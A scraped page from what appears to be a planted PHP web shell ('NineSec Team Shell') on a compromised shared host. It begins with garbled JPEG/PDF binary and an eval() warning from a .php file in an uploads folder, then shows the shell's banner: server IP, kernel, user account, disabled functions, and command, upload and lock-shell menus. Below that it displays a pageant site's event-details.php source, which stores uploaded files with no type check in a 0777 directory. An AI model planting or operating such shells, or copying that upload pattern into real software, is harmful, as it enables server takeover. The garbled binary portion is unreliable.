JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C  %PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357389_0_197006009.php(44) : eval()'d code on line 6
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.172
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/pinkrosesentertainment.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/pinkrosesentertainment.com/public_html/event-details.php
<?php
require_once __DIR__ . '/db_connect.php';

$event_id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$success_message = '';
$error_message = '';

// Handle form submission
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['apply'])) {
    // Sanitize inputs
    $full_name = mysqli_real_escape_string($conn, $_POST['full_name']);
    $email = mysqli_real_escape_string($conn, $_POST['email']);
    $phone = mysqli_real_escape_string($conn, $_POST['phone']);
    $age = intval($_POST['age']);
    $city = mysqli_real_escape_string($conn, $_POST['city']);
    $state = mysqli_real_escape_string($conn, $_POST['state']);
    $experience = mysqli_real_escape_string($conn, $_POST['experience']);
    $why_join = mysqli_real_escape_string($conn, $_POST['why_join']);
    
    // File upload handling
    $photo_path = '';
    
    // Upload photo
    if (isset($_FILES['photo']) && $_FILES['photo']['error'] == 0) {
        $photo_name = time() . '_' . basename($_FILES['photo']['name']);
        $photo_target = "uploads/applications/photos/" . $photo_name;
        
        // Create directory if it doesn't exist
        if (!file_exists('uploads/applications/photos/')) {
            mkdir('uploads/applications/photos/', 0777, true);
        }
        
        if (move_uploaded_file($_FILES['photo']['tmp_name'], $photo_target)) {
            $photo_path = $photo_target;
        }
    }
    
    
    
    // Insert into database
    $sql = "INSERT INTO event_applications (event_id, full_name, email, phone, age, city, state, experience, why_join, photo_path) 
            VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?)";
    
    $stmt = $conn->prepare($sql);
    $stmt->bind_param("isssiissss", 
        $event_id, 
        $full_name, 
        $email, 
        $phone, 
        $age, 
        $city, 
        $state, 
        $experience, 
        $why_join, 
        $photo_path
    );
    
    if ($stmt->execute()) {
        $success_message = "Your application has been submitted successfully! We'll contact you soon.";
    } else {
        $error_message = "Error submitting application. Please try again.";
    }
    $stmt->close();
}

// Fetch event details
$sql = "SELECT * FROM events WHERE id = ?";
$stmt = $conn->prepare($sql);
$stmt->bind_param("i", $event_id);
$stmt->execute();
$result = $stmt->get_result();

if ($result->num_rows === 0) {
    header("Location: events.html");
    exit();
}

$event = $result->fetch_assoc();
?>

<!DOCTYPE html>
<html>
<meta http-equiv="content-type" content="text/html;charset=UTF-8" />
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    
    <meta name="viewport" content="width=device-width, initial-scale=1">
   
    <link rel="shortcut icon" href="assets/images/logoO/pinkNW.png" type="image/x-icon">
    <link rel="icon" href="assets/images/logoO/pinkNW.png" type="image/x-icon">
    <link rel="canonical" href="about-us.html" />
    <meta name="author" content="Digital Nawab || @unosaleem">
    <!-- Font Awesome CDN (Latest version) -->
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css" integrity="sha512-uWxY6D4rVbYYxW2Zz+Oc6U7q3Rjz+zD6+yA2QG1QW9aYQbV2WyLCY4EmoTVz1YfWumfnYoQkmyV4sF1kW5lfYg==" crossorigin="anonymous" referrerpolicy="no-referrer" />



    <title>Event-Details | PINK ROSES ENTERTAINMENT</title>
    <!--    Meta  - Description  -->
    <meta name="description" content="The Pink Roses Entertainment &amp; Mrs. India holds an annual pageant in both different categories to identify Indian women who exemplify beauty, talent, intelligence &amp; compassion"/>     
     <link href="assets/css/bootstrap.min.css" rel="stylesheet">    
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.3/font/bootstrap-icons.css">
     <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">

      <link href="assets/css/animate.min.css" rel="stylesheet">     <link href="assets/js/lib/slick/slick.css" rel="stylesheet">     <link href="assets/js/lib/slick/slick-theme.css" rel="stylesheet">     <link href="assets/css/animate.min.css" rel="stylesheet">     <link href="assets/css/style.css" rel="stylesheet">     <link href="assets/css/responsive.css" rel="stylesheet">     <link href="assets/css/dark-color.css" rel="stylesheet">     <link href="assets/css/unosaleem.css" rel="stylesheet">      <!--====   reCAPTCHA_site_key ====-->
    <script src="../www.google.com/recaptcha/api2310.js?render=6LdYktkqAAAAAJcxVRCgz33EhxLs1iSxM18TSnt5"></script>
    <!--====    css custom link ====-->
    <script>
        // reCAPTCHA_site_key
        grecaptcha.ready(function() {
            // use site keys from https://www.google.com/recaptcha/admin
            grecaptcha.execute('6LdYktkqAAAAAJcxVRCgz33EhxLs1iSxM18TSnt5', {action: 'submit'}).then(function(token) {
                document.getElementById('recaptcha_token').value = token;
            });
        });

    </script>
    
    <meta name="google-site-verification" content="3gjBHn9Q71HudZt9P2vyxmkZW4o79eTTFieHht3ZBhw" />
    <meta name="facebook-domain-verification" content="ouwjnr2n1q28kwxbj7mtu6jzaxhpoy" />

    <meta name="statvooVerification" content="20e7f2275ef5bfdefe71717ae44713fd" /> 

 <script type='application/ld+json'> 
    {
      "@context": "http://www.schema.org",
      "@type": "product",
      "brand": "Beauty Pageant",
      "name": "Tiska Miss & Mrs. India",
      "image": "assets/images/logoO/pinkNW.png",
      "description": "Pink Roses Entertainment & Mrs. India is a unique blend of glamour and elegance contrary to the traditional state of pageantry, available on both state and national levels.",
      "aggregateRating": {
        "@type": "aggregateRating",
        "ratingValue": "4.4",
        "reviewCount": "14752"
      }
    }
 </script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
    
    :root {
            --primary-color: #ec4899;
            --primary-dark: #db2777;
            --secondary-color: #8b5cf6;
            --dark-color: #0f172a;
            --light-color: #f8fafc;
            --gray-color: #64748b;
            --light-gray: #e2e8f0;
            --gold-color: #f59e0b;
            --transition: all 0.3s ease;
            --shadow: 0 10px 15px -3px rgba(0, 0, 0, 0.1), 0 4px 6px -2px rgba(0, 0, 0, 0.05);
            --shadow-lg: 0 20px 25px -5px rgba(0, 0, 0, 0.1), 0 10px 10px -5px rgba(0, 0, 0, 0.04);
        }

        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: 'Inter', sans-serif;
            line-height: 1.6;
            color: var(--dark-color);
            background-color: var(--light-color);
        }

        /* Header Styles */
        header {
            background: linear-gradient(135deg, rgba(15, 23, 42, 0.95) 0%, rgba(15, 23, 42, 0.98) 100%);
            padding: 1.5rem 0;
            position: sticky;
            top: 0;
            z-index: 1000;
            box-shadow: var(--shadow);
        }

        .container {
            width: 100%;
            max-width: 1200px;
            margin: 0 auto;
            padding: 0 1.5rem;
        }

        .navbar {
            display: flex;
            justify-content: space-between;
            align-items: center;
        }

        .logo {
            display: flex;
            align-items: center;
            gap: 0.75rem;
            text-decoration: none;
        }

        .logo-img {
            width: 50px;
            height: 50px;
            border-radius: 50%;
            object-fit: cover;
            border: 2px solid var(--primary-color);
        }

        .logo-text {
            display: flex;
            flex-direction: column;
        }

        .logo-title {
            font-size: 1.5rem;
            font-weight: 700;
            color: white;
            line-height: 1;
        }

        .logo-subtitle {
            font-size: 0.75rem;
            color: var(--primary-color);
            letter-spacing: 1.5px;
            text-transform: uppercase;
        }

        .nav-links {
            display: flex;
            gap: 2rem;
            list-style: none;
        }

        .nav-links a {
            color: white;
            text-decoration: none;
            font-weight: 500;
            font-size: 1rem;
            transition: var(--transition);
            position: relative;
            padding: 0.5rem 0;
        }

        .nav-links a:hover {
            color: var(--primary-color);
        }

        .nav-links a.active {
            color: var(--primary-color);
        }

        .nav-links a.active::after {
            content: '';
            position: absolute;
            bottom: 0;
            left: 0;
            width: 100%;
            height: 2px;
            background: var(--primary-color);
        }

        .mobile-menu-btn {
            display: none;
            background: none;
            border: none;
            color: white;
            font-size: 1.5rem;
            cursor: pointer;
        }
        
        .event-detail-page {
            padding: 6rem 0;
        }
        
        .event-detail-container {
            max-width: 1000px;
            margin: 0 auto;
        }
        
        .event-detail-image {
            width: 100%;
            height: 500px;
            border-radius: 15px;
            overflow: hidden;
            margin-bottom: 2rem;
        }
        
        .event-detail-image img {
            width: 100%;
            height: 100%;
            object-fit: cover;
        }
        
        .event-detail-header {
            margin-bottom: 2rem;
        }
        
        .event-detail-date {
            color: #ec4899;
            font-weight: 600;
            margin-bottom: 1rem;
        }
        
        .event-detail-title {
            font-size: 2.5rem;
            font-weight: 800;
            margin-bottom: 1rem;
            color: #0f172a;
        }
        
        .event-detail-location {
            display: flex;
            align-items: center;
            gap: 0.5rem;
            color: #64748b;
            margin-bottom: 2rem;
        }
        
        .event-detail-content {
            line-height: 1.8;
            color: #475569;
            font-size: 1.1rem;
            margin-bottom: 3rem;
        }
        
        .event-detail-info {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
            gap: 1.5rem;
            margin-bottom: 3rem;
        }
        
        .info-card {
            background: #f8fafc;
            padding: 1.5rem;
            border-radius: 10px;
            border-left: 4px solid #ec4899;
        }
        
        .info-card h4 {
            font-size: 1rem;
            color: #64748b;
            margin-bottom: 0.5rem;
        }
        
        .info-card p {
            font-size: 1.1rem;
            font-weight: 600;
            color: #0f172a;
        }
        
        .back-button {
            display: inline-block;
            background: #0f172a;
            color: white;
            padding: 1rem 2rem;
            border-radius: 50px;
            text-decoration: none;
            font-weight: 600;
            transition: all 0.3s ease;
        }
        
        .back-button:hover {
            background: #ec4899;
            transform: translateY(-2px);
        }
        
        /* Footer */
        footer {
            background: var(--dark-color);
            color: white;
            padding: 4rem 0 2rem;
        }

        .footer-content {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
            gap: 3rem;
            margin-bottom: 3rem;
        }

        .footer-logo {
            display: flex;
            align-items: flex-start;
            gap: 1rem;
            margin-bottom: 1.5rem;
        }

        .footer-logo-img {
            width: 60px;
            height: 60px;
            border-radius: 50%;
            object-fit: cover;
            border: 2px solid var(--primary-color);
        }

        .footer-logo-text h3 {
            font-size: 1.5rem;
            font-weight: 700;
            margin-bottom: 0.25rem;
        }

        .footer-logo-text p {
            color: var(--light-gray);
            font-size: 0.9rem;
        }

        .footer-about p {
            color: var(--light-gray);
            margin-bottom: 1.5rem;
            line-height: 1.7;
        }

        .social-links {
            display: flex;
            gap: 1rem;
        }

        .social-links a {
            display: flex;
            align-items: center;
            justify-content: center;
            width: 40px;
            height: 40px;
            background: rgba(255, 255, 255, 0.1);
            border-radius: 50%;
            color: white;
            text-decoration: none;
            transition: var(--transition);
        }

        .social-links a:hover {
            background: var(--primary-color);
            transform: translateY(-3px);
        }

        .footer-links h4 {
            font-size: 1.2rem;
            font-weight: 600;
            margin-bottom: 1.5rem;
            color: white;
        }

        .footer-links ul {
            list-style: none;
        }

        .footer-links ul li {
            margin-bottom: 0.75rem;
        }

        .footer-links ul li a {
            color: var(--light-gray);
            text-decoration: none;
            transition: var(--transition);
        }

        .footer-links ul li a:hover {
            color: var(--primary-color);
            padding-left: 5px;
        }

        .contact-info h4 {
            font-size: 1.2rem;
            font-weight: 600;
            margin-bottom: 1.5rem;
            color: white;
        }

        .contact-item {
            display: flex;
            align-items: flex-start;
            gap: 1rem;
            margin-bottom: 1.5rem;
        }

        .contact-icon {
            width: 40px;
            height: 40px;
            background: rgba(236, 72, 153, 0.1);
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            color: var(--primary-color);
            flex-shrink: 0;
        }

        .contact-details h5 {
            font-size: 1rem;
            font-weight: 600;
            margin-bottom: 0.25rem;
        }

        .contact-details p {
            color: var(--light-gray);
            font-size: 0.9rem;
        }

        .footer-bottom {
            text-align: center;
            padding-top: 2rem;
            border-top: 1px solid rgba(255, 255, 255, 0.1);
            color: var(--light-gray);
            font-size: 0.9rem;
        }

        /* Responsive Design */
        @media (max-width: 992px) {
            .hero h1 {
                font-size: 2.8rem;
            }
            
            .about-content {
                grid-template-columns: 1fr;
                gap: 3rem;
            }
            
            .about-image {
                order: -1;
            }
        }

        @media (max-width: 768px) {
            .mobile-menu-btn {
                display: block;
            }
            
            .nav-links {
                position: fixed;
                top: 80px;
                left: 0;
                width: 100%;
                background: var(--dark-color);
                flex-direction: column;
                padding: 2rem;
                text-align: center;
                transform: translateY(-100%);
                opacity: 0;
                visibility: hidden;
                transition: var(--transition);
                box-shadow: var(--shadow);
            }
            
            .nav-links.active {
                transform: translateY(0);
                opacity: 1;
                visibility: visible;
            }
            
            .hero h1 {
                font-size: 2.3rem;
            }
            
            .hero p {
                font-size: 1.1rem;
            }
            
            .section-title h2 {
                font-size: 2rem;
            }
            
            .events-container {
                grid-template-columns: 1fr;
            }
            
            .about-highlights {
                grid-template-columns: 1fr;
            }
        }

        @media (max-width: 480px) {
            .hero {
                padding: 4rem 0;
            }
            
            .hero h1 {
                font-size: 1.8rem;
            }
            
            .container {
                padding: 0 1rem;
            }
        }
        
        /* Apply Now Button */
.apply-now-button {
    background: linear-gradient(135deg, var(--primary-color) 0%, var(--primary-dark) 100%);
    color: white;
    border: none;
    padding: 1rem 2rem;
    border-radius: 50px;
    font-size: 1rem;
    font-weight: 600;
    cursor: pointer;
    transition: var(--transition);
    display: flex;
    align-items: center;
    gap: 0.5rem;
}

.apply-now-button:hover {
    transform: translateY(-3px);
    box-shadow: var(--shadow-lg);
}

/* Modal Animations */
@keyframes modalSlideIn {
    from {
        opacity: 0;
        transform: translateY(-50px);
    }
    to {
        opacity: 1;
        transform: translateY(0);
    }
}

@keyframes shake {
    0%, 100% { transform: translateX(0); }
    25% { transform: translateX(-5px); }
    75% { transform: translateX(5px); }
}

.modal {
    display: none;
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: rgba(0, 0, 0, 0.8);
    z-index: 10000;
    align-items: center;
    justify-content: center;
    animation: fadeIn 0.3s ease;
}

.modal-content {
    background: white;
    border-radius: 15px;
    padding: 2rem;
    position: relative;
    animation: modalSlideIn 0.3s ease;
    box-shadow: var(--shadow-lg);
}

@keyframes fadeIn {
    from { opacity: 0; }
    to { opacity: 1; }
}

/* Success Modal Styles */
.success-icon {
    animation: scaleIn 0.5s ease;
}

@keyframes scaleIn {
    0% {
        transform: scale(0);
    }
    70% {
        transform: scale(1.2);
    }
    100% {
        transform: scale(1);
    }
}

/* Modal Buttons */
.btn-cancel {
    padding: 0.75rem 1.5rem;
    background: #e2e8f0;
    color: #475569;
    border: none;
    border-radius: 8px;
    font-weight: 600;
    cursor: pointer;
    transition: var(--transition);
}

.btn-cancel:hover {
    background: #cbd5e1;
}

.apply-button {
    padding: 0.75rem 2rem;
    background: linear-gradient(135deg, var(--primary-color) 0%, var(--primary-dark) 100%);
    color: white;
    border: none;
    border-radius: 8px;
    font-weight: 600;
    cursor: pointer;
    transition: var(--transition);
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 0.5rem;
}

.apply-button:hover {
    transform: translateY(-2px);
    box-shadow: var(--shadow);
}
    </style>
</head>
<body>
    <!-- Main Header-->
        <header class="main-header header-style-two ">
            <style>
    .nav > li > a:focus, .nav > li > a:hover {
    text-decoration: none;
    background-color: #ef6faa !important;
}
.navbar-light .navbar-nav .nav-link {
    color: #fff;
}
.dropdown-menu.show {
    background: #696d72;
}
.dropdown-menu {background: #686c71;}
.dropdown:hover .dropdown-menu {display: block;}

.dropdown-item{color:#fff;}
.dropdown-item:hover{color:#ee6ea9;}

/*==== responsive Mobile ======*/
@media  only screen and (max-width: 600px) {
 .nav.navbar-nav.ml-auto {
    width: 100%;
}
.navbar.navbar-expand-md.navbar-light {

    background: #736e6ef0;

}
.main-header.fixed.animated.slideDown {

    padding:0 !important;
    margin:0 !important;
}
}

/* Application Form Styles */
.application-section {
    background: linear-gradient(135deg, #fdf2f8 0%, #fce7f3 100%);
    border-radius: 15px;
    padding: 3rem;
    margin: 3rem 0;
    border: 1px solid rgba(236, 72, 153, 0.2);
}

.application-section h2 {
    color: var(--dark-color);
    font-size: 2rem;
    margin-bottom: 1rem;
    text-align: center;
}

.application-section p {
    color: var(--gray-color);
    text-align: center;
    margin-bottom: 2rem;
}

.application-form {
    max-width: 800px;
    margin: 0 auto;
}

.form-group {
    margin-bottom: 1.5rem;
}

.form-group label {
    display: block;
    margin-bottom: 0.5rem;
    font-weight: 600;
    color: var(--dark-color);
}

.form-group input,
.form-group select,
.form-group textarea {
    width: 100%;
    padding: 0.75rem 1rem;
    border: 2px solid var(--light-gray);
    border-radius: 8px;
    font-size: 1rem;
    transition: var(--transition);
}

.form-group input:focus,
.form-group select:focus,
.form-group textarea:focus {
    outline: none;
    border-color: var(--primary-color);
    box-shadow: 0 0 0 3px rgba(236, 72, 153, 0.1);
}

.form-row {
    display: grid;
    grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
    gap: 1rem;
}

.form-group textarea {
    min-height: 120px;
    resize: vertical;
}

.file-upload {
    position: relative;
    overflow: hidden;
    display: inline-block;
    width: 100%;
}

.file-upload input[type="file"] {
    position: absolute;
    left: 0;
    top: 0;
    opacity: 0;
    cursor: pointer;
    height: 100%;
    width: 100%;
}

.file-upload-label {
    display: flex;
    align-items: center;
    justify-content: center;
    padding: 0.75rem 1rem;
    background: white;
    border: 2px dashed var(--light-gray);
    border-radius: 8px;
    cursor: pointer;
    transition: var(--transition);
}

.file-upload-label:hover {
    border-color: var(--primary-color);
    background: rgba(236, 72, 153, 0.05);
}

.file-upload-label i {
    margin-right: 0.5rem;
    color: var(--primary-color);
}

.file-name {
    margin-top: 0.5rem;
    font-size: 0.9rem;
    color: var(--gray-color);
}

.apply-button {
    display: block;
    width: 200px;
    margin: 2rem auto 0;
    padding: 1rem 2rem;
    background: linear-gradient(135deg, var(--primary-color) 0%, var(--primary-dark) 100%);
    color: white;
    border: none;
    border-radius: 50px;
    font-size: 1.1rem;
    font-weight: 600;
    cursor: pointer;
    transition: var(--transition);
}

.apply-button:hover {
    transform: translateY(-3px);
    box-shadow: var(--shadow-lg);
}

.alert {
    padding: 1rem;
    border-radius: 8px;
    margin-bottom: 1.5rem;
    text-align: center;
}

.alert-success {
    background: #d1fae5;
    color: #065f46;
    border: 1px solid #a7f3d0;
}

.alert-error {
    background: #fee2e2;
    color: #991b1b;
    border: 1px solid #fecaca;
}

/* Modal Styles */
.modal {
    display: none;
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: rgba(0, 0, 0, 0.8);
    z-index: 1000;
    align-items: center;
    justify-content: center;
}

.modal-content {
    background: white;
    border-radius: 15px;
    max-width: 500px;
    width: 90%;
    padding: 2rem;
    position: relative;
    animation: modalSlideIn 0.3s ease;
}

@keyframes modalSlideIn {
    from {
        transform: translateY(-50px);
        opacity: 0;
    }
    to {
        transform: translateY(0);
        opacity: 1;
    }
}

.close-modal {
    position: absolute;
    top: 1rem;
    right: 1rem;
    background: none;
    border: none;
    font-size: 1.5rem;
    cursor: pointer;
    color: var(--gray-color);
}

.close-modal:hover {
    color: var(--dark-color);
}

.modal-buttons {
    display: flex;
    gap: 1rem;
    justify-content: center;
    margin-top: 2rem;
}

.modal-buttons button {
    padding: 0.75rem 2rem;
    border-radius: 8px;
    border: none;
    font-weight: 600;
    cursor: pointer;
    transition: var(--transition);
}

.btn-confirm {
    background: var(--primary-color);
    color: white;
}

.btn-confirm:hover {
    background: var(--primary-dark);
}

.btn-cancel {
    background: var(--light-gray);
    color: var(--dark-color);
}

.btn-cancel:hover {
    background: #d1d5db;
}
</style>
<div class="bs-example">
    <nav class="navbar navbar-expand-md navbar-light ">
       
            <a href="index.php" class="navbar-brand">
                         <img src="assets/images/logoO/pinkNW.png" alt="tiska" width="70" class="img-responsive logoTs"/> 
                 
        </a>
        <button type="button" class="navbar-toggler" data-toggle="collapse" data-target="#navbarCollapse">
            <span class="navbar-toggler-icon"></span>
        </button>
        <div id="navbarCollapse" class="collapse navbar-collapse">
           <ul class="nav navbar-nav ml-auto">
                 <li class="nav-item"><a class='active' href="index.php">Home</a></li>

        <li class="nav-item"><a href="about-us.html">About Us</a> </li>
        
        <li class="nav-item dropdown">
            <a href="#" class="nav-link dropdown-toggle" data-toggle="dropdown">audition</a>
            <div class="dropdown-menu">
                <a href="nwTeam.php" class="dropdown-item">Team</a>
                <div class="dropdown-divider"></div>
                <a href="nwjury.php" class="dropdown-item">jury</a>

            </div>
        </li>

            
               <li class="nav-item"><a href="achive.php" >Achievement</a></li>
             <!-- <li class="nav-item"><a href="nwGallery.html" >Gallery</li> -->
                 <li class="nav-item dropdown">
            <a href="#" class="nav-link dropdown-toggle" data-toggle="dropdown">Media</a>
            <div class="dropdown-menu">
                <a href="nwGallery.php" class="dropdown-item">Gallery</a>
                <div class="dropdown-divider"></div>
                <a href="video.html" class="dropdown-item">Video</a>
                <div class="dropdown-divider"></div>
                <a href="events.php" class="dropdown-item">Events</a>
            </div>
        </li>
           <li><a href="social.html" >Social</a></li>
           <li class="nav-item"><a href="registration.php" >Registration</a></li>
              <li><a href="nwcontact.html" >Contact Us</a></li> 
             
             
            </ul>
            
        </div>
    </nav>
</div>       
</header>
    
    <section class="event-detail-page">
        <div class="container">
            <div class="event-detail-container">
                <div class="event-detail-image">
                    <img src="<?php echo !empty($event['banner_image']) ? htmlspecialchars($event['banner_image']) : 'https://images.unsplash.com/photo-1540575467063-178a50c2df87?ixlib=rb-4.0.3&auto=format&fit=crop&w=2070&q=80'; ?>" alt="<?php echo htmlspecialchars($event['title']); ?>">
                </div>
                
                <div class="event-detail-header">
                    <div class="event-detail-date">
                        <i class="far fa-calendar-alt"></i>
                        <?php echo date("F d, Y", strtotime($event['start_date'])); ?> - <?php echo date("F d, Y", strtotime($event['end_date'])); ?>
                    </div>
                    <h1 class="event-detail-title"><?php echo htmlspecialchars($event['title']); ?></h1>
                    <?php if (!empty($event['location'])): ?>
                    <div class="event-detail-location">
                        <i class="fas fa-map-marker-alt"></i>
                        <?php echo htmlspecialchars($event['location']); ?>
                    </div>
                    <?php endif; ?>
                </div>
                
                <div class="event-detail-content">
                    <?php echo nl2br(htmlspecialchars($event['description'])); ?>
                </div>
                
                <div class="event-detail-info">
                    <div class="info-card">
                        <h4>Event Status</h4>
                        <p><?php echo $event['is_active'] == 1 ? 'Active' : 'Completed'; ?></p>
                    </div>
                    <div class="info-card">
                        <h4>Created On</h4>
                        <p><?php echo date("F d, Y", strtotime($event['created_at'])); ?></p>
                    </div>
                    <div class="info-card">
                        <h4>Last Updated</h4>
                        <p><?php echo date("F d, Y", strtotime($event['updated_at'])); ?></p>
                    </div>
                </div>
                
                <div style="display: flex; gap: 1rem; justify-content: center; margin-top: 3rem;">
                    <button class="apply-now-button" onclick="openApplicationModal()">
                        <i class="fas fa-edit"></i> Apply Now
                    </button>
                    <a href="events.php" class="back-button">
                        <i class="fas fa-arrow-left"></i> Back to Events
                    </a>
                    
                </div>
            </div>
        </div>
    </section>
    
    <!-- Application Modal -->
<div id="applicationModal" class="modal">
    <div class="modal-content" style="max-width: 800px; max-height: 90vh; overflow-y: auto;">
        <button class="close-modal" onclick="closeApplicationModal()">&times;</button>
        
        <div class="application-section" style="background: transparent; padding: 0; border: none;">
            <h2>Apply for: <?php echo htmlspecialchars($event['title']); ?></h2>
            <p>Fill out the form below to apply for participation in this event.</p>
            
            <?php if ($success_message): ?>
                <div class="alert alert-success">
                    <?php echo $success_message; ?>
                </div>
            <?php endif; ?>
            
            <?php if ($error_message): ?>
                <div class="alert alert-error">
                    <?php echo $error_message; ?>
                </div>
            <?php endif; ?>
            
            <form class="application-form" method="POST" enctype="multipart/form-data" id="applicationForm">
                <input type="hidden" name="event_id" value="<?php echo $event_id; ?>">
                
                <div class="form-row">
                    <div class="form-group">
                        <label for="full_name">Full Name *</label>
                        <input type="text" id="full_name" name="full_name" required>
                    </div>
                    
                    <div class="form-group">
                        <label for="email">Email Address *</label>
                        <input type="email" id="email" name="email" required>
                    </div>
                </div>
                
                <div class="form-row">
                    <div class="form-group">
                        <label for="phone">Phone Number *</label>
                        <input type="tel" id="phone" name="phone" required>
                    </div>
                    
                    <div class="form-group">
                        <label for="age">Age *</label>
                        <input type="number" id="age" name="age" min="16" max="60" required>
                    </div>
                </div>
                
                <div class="form-row">
                    <div class="form-group">
                        <label for="city">City *</label>
                        <input type="text" id="city" name="city" required>
                    </div>
                    
                    <div class="form-group">
                        <label for="state">State *</label>
                        <select id="state" name="state" required>
                            <option value="">Select State</option>
                            <option value="West Bengal">West Bengal</option>
                            <option value="Delhi">Delhi</option>
                            <option value="Maharashtra">Maharashtra</option>
                            <option value="Karnataka">Karnataka</option>
                            <option value="Tamil Nadu">Tamil Nadu</option>
                            <option value="Uttar Pradesh">Uttar Pradesh</option>
                            <option value="Other">Other</option>
                        </select>
                    </div>
                </div>
                
                <div class="form-group">
                    <label for="experience">Previous Experience (if any)</label>
                    <textarea id="experience" name="experience" placeholder="Describe any relevant experience in modeling, pageants, or related fields..."></textarea>
                </div>
                
                <div class="form-group">
                    <label for="why_join">Why do you want to join this event? *</label>
                    <textarea id="why_join" name="why_join" required placeholder="Tell us why you're interested in participating in this event..."></textarea>
                </div>
                
                <div class="form-row">
                    <div class="form-group">
                        <label>Recent Photograph *</label>
                        <div class="file-upload">
                            <input type="file" id="photo" name="photo" accept="image/*" required onchange="displayFileName(this, 'photo-name')">
                            <label for="photo" class="file-upload-label">
                                <i class="fas fa-camera"></i>
                                <span>Upload Photo (Max 2MB)</span>
                            </label>
                        </div>
                        <div id="photo-name" class="file-name"></div>
                    </div>
                </div>
                
                <div class="form-group" style="margin-top: 2rem; display: flex; gap: 1rem; justify-content: flex-end;">
                    <button type="button" class="btn-cancel" onclick="closeApplicationModal()">Cancel</button>
                    <button type="submit" name="apply" class="apply-button">
                        <i class="fas fa-paper-plane"></i> Submit Application
                    </button>
                </div>
            </form>
        </div>
    </div>
</div>

<!-- Success Modal -->
<div id="successModal" class="modal">
    <div class="modal-content" style="max-width: 500px; text-align: center;">
        <div class="success-icon" style="font-size: 4rem; color: #10b981; margin-bottom: 1rem;">
            <i class="fas fa-check-circle"></i>
        </div>
        <h3>Application Submitted Successfully!</h3>
        <p id="successMessage">Your application has been received. We'll contact you soon.</p>
        <button onclick="closeSuccessModal()" class="apply-button" style="margin-top: 1.5rem;">OK</button>
    </div>
</div>
    
       <!-- Footer -->
    <footer>
        <div class="container">
            <div class="footer-content">
                <div class="footer-about">
                    <div class="footer-logo">
                        <img src="https://placehold.co/60x60/FF69B4/FFFFFF?text=PR" alt="Pink Roses Logo" class="footer-logo-img">
                        <div class="footer-logo-text">
                            <h3>PinkRoses</h3>
                            <p>Entertainment</p>
                        </div>
                    </div>
                    <p>Pink Roses Entertainment is a premier event management company based in Kolkata, curating prestigious national and international platforms that celebrate talent, confidence, and diversity.</p>
                    <div class="social-links">
                        <a href="#"><i class="fab fa-facebook-f"></i></a>
                        <a href="#"><i class="fab fa-instagram"></i></a>
                        <a href="#"><i class="fab fa-twitter"></i></a>
                        <a href="#"><i class="fab fa-youtube"></i></a>
                        <a href="#"><i class="fab fa-linkedin-in"></i></a>
                    </div>
                </div>
                
                <div class="footer-links">
                    <h4>Quick Links</h4>
                    <ul>
                        <li><a href="index.html">Home</a></li>
                        <li><a href="about.html">About Us</a></li>
                        <li><a href="events.html">Events</a></li>
